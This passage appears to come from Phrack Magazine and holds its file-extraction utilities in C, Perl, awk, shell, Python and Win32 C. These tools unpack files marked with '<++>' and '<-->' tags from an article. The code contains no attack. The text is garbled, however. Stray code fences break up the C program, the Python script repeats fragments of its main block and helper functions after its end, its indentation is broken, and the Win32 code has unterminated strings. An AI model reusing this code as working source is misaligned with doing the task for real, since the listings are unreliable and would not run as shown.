#define BEGIN_TAG    "<++> "
#define END_TAG      "<-->"
#define BT_SIZE      strlen(BEGIN_TAG)
#define ET_SIZE      strlen(END_TAG)
```

```
struct f_name
{
    u_char name[256];
    struct f_name *next;
```

```

};

int
main(int argc, char **argv)
{
    u_char b[256], *bp, *fn;
    int i, j = 0;
    FILE *in_p, *out_p = NULL;
    struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;
    char *name;

    if (argc < 2)
    {
        printf("Usage: %s file1 file2 ... fileN\n", argv[0]);
        exit(0);
    }

    /*
     * Fill the f_name list with all the files on the commandline (ignoring
     * argv[0] which is this executable). This includes globs.
     */
    for (i = 1; (fn = argv[i++]); )
    {
        if (!head)
        {
            if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
            {
                perror("malloc");
                exit(1);
            }
            strncpy(head->name, fn, sizeof(head->name));
            head->next = NULL;
            fn_p = head;
        }
        else
        {
            if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
            {
                perror("malloc");
                exit(1);
            }
            fn_p = fn_p->next;
            strncpy(fn_p->name, fn, sizeof(fn_p->name));
            fn_p->next = NULL;
        }
    }

    /*
     * Sentry node.
     */
    if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
    {
        perror("malloc");
        exit(1);
    }
    fn_p = fn_p->next;
    fn_p->next = NULL;

    /*
     * Check each file in the f_name list for extraction tags.
     */
    for (fn_p = head; fn_p->next;)
    {
        if (!strcmp(fn_p->name, "-"))

```



```

{
    in_p = stdin;
    name = "stdin";
}
else if (!(in_p = fopen(fn_p->name, "r")))
{
    fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
    continue;
}
else
{
    name = fn_p->name;
}
fprintf(stderr, "Opened %s\n", name);

while (fgets(b, 256, in_p))
{
    if (!strncmp (b, BEGIN_TAG, BT_SIZE))
    {
        b[strlen(b) - 1] = 0;          /* Now we have a string. */
        j++;

        if ((bp = strchr(b + BT_SIZE + 1, '/'))
        {
            while (bp)
            {
                *bp = 0;
                if (mkdir(b + BT_SIZE, 0700) == -1 && errno != EEXIST)
                {
                    perror("mkdir");
                    exit(1);
                }
                *bp = '/';
                bp = strchr(bp + 1, '/');
            }
            if ((out_p = fopen(b + BT_SIZE, "w"))
            {
                printf("- Extracting %s\n", b + BT_SIZE);
            }
            else
            {
                printf("Could not extract '%s'.\n", b + BT_SIZE);
                continue;
            }
        }
        else if (!strncmp (b, END_TAG, ET_SIZE))
        {
            if (out_p) fclose(out_p);
            else
            {
                fprintf(stderr, "Error closing file %s.\n", fn_p->name);
                continue;
            }
        }
        else if (out_p)
        {
            fputs(b, out_p);
        }
    }
    if (in_p != stdin) fclose(in_p);
    tmp = fn_p;
    fn_p = fn_p->next;
}

```

```

        free(tmp);
    }
    if (!j) printf("No extraction tags found in list.\n");
    else printf("Extracted %d file(s).\n", j);
    return (0);
}

/* EOF */
<-->
<++> EX/PMEU/extract.pl
# Daos <daos@nym.alias.net>
#!/bin/sh -- # *- perl -*- -n
eval 'exec perl $0 -S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_, 5); $opening=1;};
if (/^\<\-\-\>/) {close ct_ex; $opened=0;};
if ($opening) {
    chop $curfile;
    $sex_dir= substr( $curfile, 0, ((rindex($curfile,'/')) ) if ($curfile =
~ m/\\/));
    eval {mkdir $sex_dir, "0777";};
    open(ct_ex,">$curfile");
    print "Attempting extraction of $curfile\n";
    $opened=1;
}
if ($opened && !$opening) {print ct_ex $_};
<-->

<++> EX/PMEU/extract.awk
#!/usr/bin/awk -f
#
# Yet Another Extraction Script
# - <sirsyko>
#
/^\<\+\+\>/ {
    ind = 1
    File = $2
    split ($2, dirs, "/")
    Dir="."
    while ( dirs[ind+1] ) {
        Dir=Dir"/"dirs[ind]
        system ("mkdir " Dir " 2>/dev/null")
        ++ind
    }
    next
}
/^\<\-\-\>/ {
    File = ""
    next
}
File { print >> File }
<-->
<++> EX/PMEU/extract.sh
#!/bin/sh
# extract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko>
#
# note, this file will create all directories relative to the current directory
# originally a bug, I've now upgraded it to a feature since I dont want to deal
# with the leading / (besides, you dont want hackers giving you full pathnames
# anyway, now do you :)
# Hopefully this will demonstrate another useful aspect of IFS other than

```

```

# haxoring rewt
#
# Usage: ./extract.sh <filename>

cat $* | (
Working=1
while [ $Working ];
do
    OLDIFS1="$IFS"
    IFS=
    if read Line; then
        IFS="$OLDIFS1"
        set -- $Line
        case "$1" in
            "<++>") OLDIFS2="$IFS"
                    IFS=/
                    set -- $2
                    IFS="$OLDIFS2"
                    while [ $# -gt 1 ]; do
                        File=${File:-"."}/$1
                        if [ ! -d $File ]; then
                            echo "Making dir $File"
                            mkdir $File
                        fi
                        shift
                    done
                    File=${File:-"."}/$1
                    echo "Storing data in $File"
                    ;;
            "<-->") if [ "x$File" != "x" ]; then
                        unset File
                    fi ;;
            *)      if [ "x$File" != "x" ]; then
                        IFS=
                        echo "$Line" >> $File
                        IFS="$OLDIFS1"
                    fi
                    ;;
        esac
        IFS="$OLDIFS1"
    else
        echo "End of file"
        unset Working
    fi
done
)
<-->
<++> EX/PMEU/extract.py
#! /bin/env python
# extract.py      Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:
    """Looks like a file, but doesn't do anything."""
    def write(self, data): pass
    def close(self): pass

def extract(input, verbose = 1):
    """Read a file from input until we find the end token."""

    if type(input) == type('string'):
        fname = input

```

```

        try: input = open(fname)
        except IOError, (errno, why):
            print "Can't open %s: %s" % (fname, why)
            return errno
    else:
        fname = '<file descriptor %d>' % input.fileno()

    inside_embedded_file = 0
    linecount = 0
    line = input.readline()
    while line:

        if not inside_embedded_file and line[:4] == '<++>':

            inside_embedded_file = 1
            linecount = 0

            filename = string.strip(line[4:])
            if mkdirs_if_any(filename) != 0:
                pass

            try: output = open(filename, 'w')
            except IOError, (errno, why):
                print "Can't open %s: %s; skipping file" % (filename, why)
                output = Datasink()
                continue

            if verbose:
                print 'Extracting embedded file %s from %s...' % (filename,
                                                                    fname),

            elif inside_embedded_file and line[:4] == '<-->':
                output.close()
                inside_embedded_file = 0
                if verbose and not isinstance(output, Datasink):
                    print "[%d lines]" % linecount

            elif inside_embedded_file:
                output.write(line)

            # Else keep looking for a start token.
            line = input.readline()
            linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):
    """Check for existance of /'s in filename, and make directories."""

    path, file = os.path.split(filename)
    if not path: return

    errno = 0
    start = os.getcwd()
    components = string.split(path, os.sep)
    for dir in components:
        if not os.path.exists(dir):
            try:
                os.mkdir(dir)
                if verbose: print 'Created directory', path

            except os.error, (errno, why):
                print "Can't make directory %s: %s" % (dir, why)
                break

```

```

        try: os.chdir(dir)
        except os.error, (errno, why):
            print "Can't cd to directory %s: %s" % (dir, why)
            break

    os.chdir(start)
    return errno

def usage():
    """Blah."""
    die('Usage: extract.py [-V] filename [filename...]\n')

def main():
    try: optlist, args = getopt.getopt(sys.argv[1:], 'V')
    except getopt.error, why: usage()
    if len(args) <= 0: usage()

    if ('-V', '') in optlist: verbose = 0
    else: verbose = 1

    for filename in args:
        if verbose: print 'Opening source file', filename + '...'
        extract(filename, verbose)

def db(filename = 'P51-11'):
    """Run this script in the python debugger."""
    import pdb
    sys.argv[1:] = ['-v', filename]
    pdb.run('extract.main()')

def die(msg, errcode = 1):
    print msg
    sys.exit(errcode)

if __name__ == '__main__':
    try: main()
    except KeyboardInterrupt: pass

    except getopt.error, why: usage()
    if len(args) <= 0: usage()

    if ('-V', '') in optlist: verbose = 0
    else: verbose = 1

    for filename in args:
        if verbose: print 'Opening source file', filename + '...'
        extract(filename, verbose)

def db(filename = 'P51-11'):
    """Run this script in the python debugger."""
    import pdb
    sys.argv[1:] = [filename]
    pdb.run('extract.main()')

def die(msg, errcode = 1):
    print msg
    sys.exit(errcode)

if __name__ == '__main__':
    try: main()
    except KeyboardInterrupt: pass
    # No messy traceback.
<-->

```

```

<++> EX/PMEU/extract-win.c
/*****
/* WinExtract
/*
/* Written by Fotonik <fotonik@game-master.com>.
/*
/* Coding of WinExtract started on 22aug98.
/*
/* This version (1.0) was last modified on 22aug98.
/*
/* This is a Win32 program to extract text files from a specially tagged
/* flat file into a hierarchical directory structure. Use to extract
/* source code from articles in Phrack Magazine. The latest version of
/* this program (both source and executable codes) can be found on my
/* website: http://www.altern.com/fotonik
*****/

#include <stdio.h>
#include <string.h>
#include <windows.h>

void PowerCreateDirectory(char *DirectoryName);

int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst,
                  LPSTR lpszArgs, int nWinMode)
{
    OPENFILENAME OpenFile; /* Structure for Open common dialog box */
    char InFileName[256]="";
    char OutFileName[256];
    char Title[]="WinExtract - Choose a file to extract files from.";
    FILE *InFile;
    FILE *OutFile;
    char Line[256];
    char DirName[256];
    int FileExtracted=0; /* Flag used to determine if at least one file was */
    int i;               /* extracted */

    ZeroMemory(&OpenFile, sizeof(OPENFILENAME));
    OpenFile.lStructSize=sizeof(OPENFILENAME);
    OpenFile.hwndOwner=HWND_DESKTOP;
    OpenFile.hInstance=hThisInst;
    OpenFile.lpstrFile=InFileName;
    OpenFile.nMaxFile=sizeof(InFileName)-1;
    OpenFile.lpstrTitle=Title;
    OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

    if(GetOpenFileName(&OpenFile))
    {
        if((InFile=fopen(InFileName,"r"))==NULL)
        {
            MessageBox(NULL,"Could not open file.",NULL,MB_OK);
            return 0;
        }

        /* If we got here, InFile is opened. */
        while(fgets(Line,256,InFile))
        {
            if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */
            {
                Line[strlen(Line)-1]='\0';
            }
        }
    }
}

```

```

strcpy(OutFileName,Line+5);

/* Check if a dir has to be created and create one if necessary */
for(i=strlen(OutFileName)-1;i>=0;i--)
{
    if((OutFileName[i]=='\\')||(OutFileName[i]=='/'))
    {
        strncpy(DirName,OutFileName,i);
        DirName[i]='\0';
        PowerCreateDirectory(DirName);
        break;
    }
}

if((OutFile=fopen(OutFileName,"w"))==NULL)
{
    MessageBox(NULL,"Could not create file.",NULL,MB_OK);
    fclose(InFile);
    return 0;
}

/* If we got here, OutFile can be written to */
while(fgets(Line,256,InFile))
{
    if(strncmp(Line,"<-->",4)) /* If line doesn't begin w/ "<-->" */
    {
        fputs(Line, OutFile);
    }
    else
    {
        break;
    }
}
fclose(OutFile);
FileExtracted=1;
}
}
fclose(InFile);
if(FileExtracted)
{
    MessageBox(NULL,"Extraction sucessful.,"WinExtract",MB_OK);
}
else
{
    MessageBox(NULL,"Nothing to extract.,"Warning",MB_OK);
}
}
return 1;
}

```

/* PowerCreateDirectory is a function that creates directories that are */
/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */
void PowerCreateDirectory(char *DirectoryName)

```

{
    int i;
    int DirNameLength=strlen(DirectoryName);
    char DirToBeCreated[256];

    for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */
    {
        /* create '/' */
        if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')||
            (i==DirNameLength-1))

```

```
        {
        strncpy (DirToBeCreated,DirectoryName,i+1);
        DirToBeCreated[i+1]='\0';
        CreateDirectory (DirToBeCreated,NULL);
        }
    }
<-->
----[   EOF
```